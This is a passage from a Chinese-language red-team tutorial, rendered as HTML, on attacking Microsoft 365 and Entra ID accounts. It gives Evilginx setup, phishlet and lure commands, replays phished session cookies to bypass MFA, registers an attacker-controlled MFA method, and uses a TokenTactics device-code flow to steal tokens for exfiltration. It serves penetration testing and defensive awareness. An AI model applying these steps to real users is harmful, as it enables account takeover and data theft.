src="https://wechat2rss.xlab.app/img-proxy/?k=0952a65c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSg2HpeN01mvZbLTIbU1D5aDcHibG4PuTk0ibmiaOWaTIkw71QLYRIiclZDT0zyX1q0RXRT8tbQopA6RAOyj6QITMpia13ghaWfrRwiaY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 4 - 要求 Hybrid Joined 设备的条件访问策略</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现在假设这些策略和设置已被移除,改为采用 Microsoft Entra ID join。这会让你更不安全吗?会让你更容易遭遇 token 窃取吗?向云原生 Entra ID join 切换在规划和执行过程中很可能会带来一些麻烦。虽然本博客不会深入讨论那些问题,但会深入分析条件访问中可能导致 token 窃取的暴露面。目前还没有条件访问策略模板可以要求必须使用 Microsoft Entra ID join 才能访问云工作负载。你可以要求设备被标记为合规 (compliant),但这需要在 Intune 中进行额外配置(前提是你拥有相应许可证)。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本博客稍后会深入探讨在 Entra ID join 场景下绕过 </span><strong><span leaf="">trustType</span></strong><span leaf="">过滤器的方法。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">下面我们来看一下攻击者如何利用社会工程手段获取 Azure 和 Microsoft 365 数据的访问权限。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2 写给红队的&#34;攻心术&#34;</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接下来,我们将评估两 (2) 套不同的工具集,用于通过社会工程让用户主动给我们 Azure 的访问权限。在大多数情况下,我们会获得对 Azure 以及 Exchange Online、SharePoint Online 等云数据的低权限用户访问 (具体取决于条件访问策略)。下文步骤都假设当前唯一生效的条件访问策略是&#34;对所有用户/所有云工作负载强制 MFA&#34;。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Evilginx 场景</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在演示如何对最终用户实施成功的钓鱼之前,我想先介绍一下如何在开发者模式 (developer mode) 下搭建 Evilginx。开发者模式对渗透测试人员和红队人员极其有用。它不需要你暴露 VPS,你可以先在内部完成自己的 phishlet 开发,再到真实环境中开展社会工程。本文只介绍如何搭建开发者模式环境;phishlet 开发部分需要你自行完成。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Kali Linux 自带了 Evilginx 软件包,初始安装非常简单。在 Kali Linux 上可以使用以下命令进行安装(注意:在 Kali 中 Evilginx2 实际安装的是版本 3):</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">sudo apt install evilginx2</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">安装完成后,可以使用以下命令以开发者模式启动 Evilginx:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">sudo evilginx2 -developer</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接下来配置将要使用的内部域名和内部 IP 地址。我更倾向于在虚拟化环境中完成配置。下面是我搭建的本地域名示例。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.2375" data-type="jpeg" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012342" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=27a8741b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSjVG1LRhrReqd0erddrwPzWqosP9sp0k91Fb5ZuP1AvLVEfxTA79zACSwbfMoCRr0klbdIShibBWdUOEjoo6sOCOe8ULhCU0HRI%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 5 - Evilginx 本地域名配置</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">此时你需要先退出 Evilginx,把你的域名加入到位于 </span><strong><span leaf="">/etc/hosts</span></strong><span leaf="">的 hosts 文件中,同时确保你的 phishlet 存放在 </span><strong><span leaf="">/usr/share/evilginx2/phishlets</span></strong><span leaf="">目录下。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接下来,使用 Evilginx 自签名证书更新你的证书根存储。下面是我使用的命令流程:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">sudo cp /root/.evilginx/crt/ca.crt /usr/local/share/ca-certificates/evilginx.crtsudo update-ca-certificatessudo cp /root/.evilginx/crt/ca.crt /home/kali/Downloadssudo chown kali /home/kali/Downloads/ca.crt</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">完成 hosts 文件修改后,便可以重启 Evilginx 进入开发模式,然后配置 phishlet 和 lure。phishlet 配置可以使用以下命令:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">phishlets hostname &lt;phishlet_name&gt; &lt;domain name&gt;phishlets enable &lt;phishlet_name&gt;</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">完成 phishlet 配置后,接下来设置 lure。可以使用以下命令创建 lure:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">lures create </span><span style="color: rgb(215, 58, 73);"><span leaf="">&lt;</span></span><span leaf="">phishlet_name</span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">要查看 lure ID,只需输入以下命令:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">lure</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果需要获取某个 lure 的 URL,可以通过指定 lure 的 ID 来获取,例如:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">lures </span><span style="color: rgb(215, 58, 73);"><span leaf="">get</span></span><span leaf="">-url </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现在我们假设钓鱼邮件已经发出,并且成功钓到了一个使用 Microsoft Authenticator 应用进行保护的 Microsoft 365 用户。我们的 phishlet 被设计用于获取窃取的 session cookie 信息,以便在 Web 浏览器中重放。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.74375" data-type="jpeg" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012348" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=1dd31c95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSjOMP9xbwP5mjaTOqibKcLuDnH6951UZibXpabhWyrpIuNWYVjtaP0t0YFe9JA7mqCxRWxHsx0jCQRxYV9JFkPGXxowb8vLwD7QQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 6 - Evilginx 钓鱼捕获到的 Session Cookie</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">你可以使用 Firefox 的 Cookie Editor 插件导入这些会话信息。一旦导入,如果没有额外的条件访问保护措施,我们就可以访问 Microsoft 365 服务,包括被入侵用户的安全信息。这就为添加 MFA 方法 (包括无密码登录) 提供了机会。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.425" data-type="jpeg" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012349" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=aca0c912&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSh4AiaAkX1W5N9sO0BDXfqrknB2QlgO4MRfwNJpdApZexTibNElP2awqvBiaCCnaQqKSXAShXMm9vFWMmqnAgOnMu8ib4rgqQhq2EA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 7 - 导入 Session Cookie 信息</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">掌握这些之后,我们现在拥有以下资源:</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">用户密码</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">攻击者控制下的 MFA 方法</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">来自 Evilginx 钓鱼的 session cookie (可绕过 MFA)</span></p></li></ul><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2.2 使用 TokenTactics 获取 token</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">通常最好从多个角度推进入侵。session cookie 和后门化 MFA 方法是不错的成果,但访问令牌 (access token) 和刷新令牌 (refresh token) 更胜一筹。在已经使用 Cookie Editor 注入会话信息的同一个浏览器会话中,我们可以借助 TokenTactics 在不惊动最终用户的情况下获取 token,因为我们已经持有可用的被窃会话,可以直接接受设备代码 (device code) 请求。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.6" data-type="jpeg" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012351" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=23cce52e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nShMvNBdqeq2ur0EQcPN9wncwgVkAiaTrpDMgKxJtWFaUeaGFpFdTIFD4yibTaFcxChicK4wfBEs2sc6JpmjQ518OvuwicThziaGAoug%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 8 - 来自 TokenTactics 的 Device Code 请求</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在被入侵的浏览会话中使用 device code 完成认证后,会出现一条要求登录 Microsoft Office 的提示。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.771875" data-type="png" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012350" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=130c3a2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSgJjX0F0XXENo9lfLpaiatWJTJGumgMlXeDm5rn7hDFyyFiaT62HB9uDrcxwoMbEkAVoIan8icTaeDbbUHNHrXSNAPJOtFspgX11A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 9 - Office 登录请求</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接受提示后,你就会得到一些 token。可以使用攻击性工具进行侦察和数据外发。在这种场景下,我通常会用三 (3) 个工具配合窃取到的 token:ROADrecon、GraphRunner 和 AzureHound。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: 